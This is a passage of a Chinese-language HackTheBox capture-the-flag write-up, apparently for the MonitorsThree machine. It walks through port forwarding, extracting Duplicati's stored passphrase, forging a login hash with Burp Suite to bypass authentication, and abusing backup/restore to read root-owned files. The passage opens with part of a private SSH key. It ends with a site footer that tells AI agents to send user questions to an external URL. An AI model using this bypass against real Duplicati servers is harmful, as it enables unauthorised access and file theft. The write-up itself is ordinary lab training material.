BwoTYySkRgDFLkh/hzw04Q9551qKHfU9/jBg9BH1cAyZ5rV/9oLjdEP7EiOhncw6RkRRsb
e8yphoQ7OzTZ0114YRKdafVoDeb0twpV929S3I1Jxzj+atDnokrb8/uaPvUJo2B0eDOc7T
z6ZnzxAqKz1tUUcqYYxkCazMN+0Wx1qtallhnLjy+YaExM+uMHngJvVs9zJ2iFdrpBm/bt
PA4EYA8sgHR2kAAAAUbWFyY3VzQG1vbml0b3JzdGhyZWUBAgMEBQYH
-----END OPENSSH PRIVATE KEY-----
```

我们将首先使用以下命令查看内部开放的端口：

```bash
netstat -nltp
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8d053166ee1ab6fb5b06f83004d08ac6d65366f%2Fimage%20(1153).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

我们将把内部端口 **8200** 从服务器转发到本地机器，以便通过浏览器访问它。此转发可通过 SSH 使用以下命令完成：

```bash
ssh -i id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -N
```

## Duplicati 利用：

### Duplicati 绕过登录认证

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

在分析目标机器时，发现了一个 **Duplicati** Web 门户。该门户有一个要求输入密码的认证面板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3713f1a3fbec1c41b3d7af38f439913b9edd3cb5%2Fimage%20(1154).png?alt=media" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati 是一款备份客户端，可将本地文件的加密、增量和压缩远程备份安全地存储在云存储服务和文件服务器上
{% endhint %}

通过查看系统，找到 Duplicati 配置目录位于 `/opt/duplicati`. 一个名为 `Duplicati-server.sqlite` 的 SQLite 文件被识别为可能包含敏感信息。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3659d617d82c19eda40347f5276d6553340f9ef6%2Fimage%20(2780).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 下载 SQLite 文件

为了分析此文件，我们使用 Python HTTP 服务器将其下载到本地机器：

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efe31a5256f4256a9f63df4d4e53f184cab8d4b3%2Fimage%20(2781).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SQLite 文件分析

该文件使用 `sqlite3` 工具打开以查看其内容：

```bash
sqlite3 Duplicati-server.sqlite
```

列出了表，并选择了 `选项` 表进行数据提取：

```sql
.tables
select * from option;
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a80f31d2acb35cde919689b55884405bd3a17101%2Fimage%20(2782).png?alt=media" alt=""><figcaption></figcaption></figure>

| 键                                 | 值                                              |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### 口令短语转换

……的值 `server-passphrase` 以 Base64 编码。要将其解码并转换为十六进制格式，使用以下命令：

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e8ada8f70f353528ef9fa163fe737c9fd913306%2Fimage%20(2783).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 得到以下十六进制值：

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### 最终密码计算

为了生成最终密码，在浏览器控制台中执行了以下步骤：

**带盐口令的定义**:

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### 使用 Burp Suite 拦截请求

我们拦截该请求，并将其发送到 do intercept -> answer to this request，然后点击 forward。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cd01fdce852fa48a741c3f2a90774fc905cf564%2F%7BD32B0164-BE76-43A0-886A-887493EBC35D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

使用 **Burp Suite** 拦截了一条 HTTP 请求，从而暴露了以下信息：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c452f21a088cd9dccd3ed762918ccf58d19c724%2F%7B1DC9B5E1-4BE2-43F3-85F3-81AB8284C7CC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```json
{
  "状态": "OK",
  "随机数": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "盐值": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

该字段 `盐值` 对应于值 `server-passphrase-salt` 从数据库中提取

**Nonce 密码计算：**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**结果显示**:

```javascript
console.log(noncedpwd);
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad6a7a6df22f225bccee80276495f8da69ff3535%2F%7B1FC41904-8825-46A9-9E12-790CD32A19EE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

生成的密码（`noncedpwd`）是：

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### 密码注入和操作

1. 复制并粘贴计算出的密码。
2. 使用 **Ctrl + U** 将其进行 URL 编码。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ceb57963c9a946cd6505519506a662752f2c5da%2F%7B76B808E8-6390-4783-BB98-7BDC96D14014%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

3. 点击 **转发** 再次操作以完成。

### Duplicati 备份读取文件

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f647d0efc993987e0f41ba16071fe595f116a3b4%2F%7BC96AF78B-42D3-40F0-9D12-AFBFE252A742%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

现在我们已经可以访问 **Duplicati 管理面板**，我们将创建一个新的备份，目标是外传 **SSH** 密钥。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-63fd287f3c3821203f862badfd09a721522c73c5%2F%7BC581B276-030B-4F73-8D7F-FD97292E159D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Docker 配置分析**/ 通过查看 `docker-compose.yml` 文件，我们发现文件存储在主机系统的 **源** 目录中，并挂载到容器内。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f75ef1ff85fa80518ad9b88949df7f9fac07fb22%2F%7B107BE729-A34A-4F6E-B0DB-91C479FB46A3%7D.png?alt=media" alt="" width="541"><figcaption></figcaption></figure>

**选择目标目录**/ 为确保访问敏感文件，我们将 **backup** 的目标设置为该目录，选择：

* **源文件**: `/source/home/marcus/`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e0c4380caa27ceef9c18a8cb7286206d1b61a39%2F%7B05793313-D41C-4DBC-A0CA-DEC0A07890FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* **源数据：** `source/root/`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-057b589f5a5506d824d8788f81a40dd35afa5dd5%2F%7B2D9AB280-A31A-4777-B3E3-FA09A52CFC4B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**配置完成**

* 保存配置。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cfeec3c143b8e52ad9368e659839bb40f071fb8b%2F%7BA0AEFD64-7E82-4546-A016-7CC67F8E0BF5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 运行 **保存** 以恢复目标文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-940de8919cd61a1fbba989928fc302b0bc7150f4%2Fimage%20(768).png?alt=media" alt=""><figcaption></figcaption></figure>

### 提取已保存的文件

执行 **backup**后，生成了三个 ZIP 压缩包。

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6099c67d2c9f9e37168585614a7b85cc1c774d14%2F%7B3FC97933-3DD0-4039-BDE0-6B62873924D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

* **访问文件**
  * 由于访问限制，直接打开文件失败。
  * 不过，通过 **Duplicati**，我们使用 **恢复文件** 选项来恢复内容。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec54e3f0ed8ea4d007256c161d0ffdfe656eeac8%2F%7B02FC31AE-3131-47E1-9403-9CCBB58EA1FF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**恢复并外传**

* 从备份中提取文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50ccf3216d56749d24bdc6afd7726dab7ae3d52e%2F%7BCD5A6CE4-10C7-4C87-AA56-90B2B3119F1F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

选择文件夹 **`/source/home/marcus/`** 作为恢复来源。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8b76f42db8dee5c034085221758048575b8465f%2F%7BAE27CF6D-8AC7-4CF2-BE09-04E27D1C2E4F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26ab313940673dc83beef4151061f8d03385b96f%2F%7B2243C849-3106-4083-B692-2F0EE5A311B6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt 标志 :)

恢复后，我们查看文件并发现 **`root.txt`**!

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b90a68b3e6796cbb95ac66eac66b6a891278868%2F%7BBB28CC4D-9D4B-43E6-B897-344EE8FD4633%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-598850ed80d6678a864ff828504eebc2368b3658%2F%7B75183C58-54A6-43F6-9777-14AD6EFC0473%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
